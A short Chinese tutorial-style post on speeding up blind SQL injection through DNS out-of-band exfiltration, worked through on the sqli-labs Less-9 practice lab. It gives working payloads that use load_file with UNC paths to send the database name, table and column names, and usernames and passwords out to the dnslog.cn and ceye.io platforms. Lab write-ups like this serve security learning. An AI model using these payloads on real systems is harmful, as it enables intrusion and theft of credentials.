盲注快速获取数据
前段时间参加面试,面试官有问过一个问题,SQL注入中盲注如何快速获取数据。当时没有反应过来,后来百度了才发现,这不就是盲注使用dnslog外带数据么,尘封的记忆一下子就回想起来了,那是一个月黑风高的夜晚……咳咳,扯远了,总之就是没答上来,复盘吧!
环境复现
我们使用sql-labs进行还原盲注的情形,就用Less-9吧
可以看到经过简单的注入点测试,发现页面上的东西不会发生改变
但是当payload为请求时间大概为6.02秒,说明存在注入点
此时我们需要一个dns平台,就使用ceye平台自带的吧 http://ceye.io/
或者是其他dns平台,比如dnslog
这两个这里都会演示一下
dnslog外带条件
要使用dnslog外带首先需要满足几个条件:
1.首先要将secure_file_priv改为‘’
修改步骤:1.使用show variables like ‘%secure%’
2.进入MYSQL文件夹下,打开my.ini文件
3.在my.ini中,添加或修改为secure_file_priv=””
2,只适用于Windows系统
DNS外带实践
payload:?id=1' and sleep(5) order by 3--+
判断字段数,在order by 3时会sleep的,order by 4 时并不会sleep
测试出查询字段数为3
payload:?id=1' and sleep(5) union select 1,2,3--+
测试是否支持dns外带,使用的ceye给的dns地址
payload:/?id=1' and load_file('\\\\nihao.xxxx.ceye.io\\abc') --+
外带成功:
(ps:后面就是用dnslog平台来进行演示了)
获取一个域名先
payload:?id=1' and load_file(concat('\\\\',database(),'.fh0qvo.dnslog.cn\\abc')) --+
外带数据库名称
在dnslog平台得到数据库名称security:
payload:?id=1' and load_file(concat('\\\\',(select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),'.dxllqa.dnslog.cn\\abc')) --+
爆破表名
通过改变limit后的数字得到所有的表名
limit 0,1:
limit 1,1:
limit 2,1:
……
payload:?id=1' and load_file(concat('\\\\',(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1),'.dxllqa.dnslog.cn\\abc')) --+
爆破字段名
payload:?id=1' and load_file(concat('\\\\',(select concat(username,password) from users limit 0,1),'.dxllqa.dnslog.cn\\abc')) --+
爆破用户名和密码
虽然还是慢了些,但比起纯手工还是好了些,另外还可以结合脚本利用,这里就不过多赘述了,有机会再详细讲述。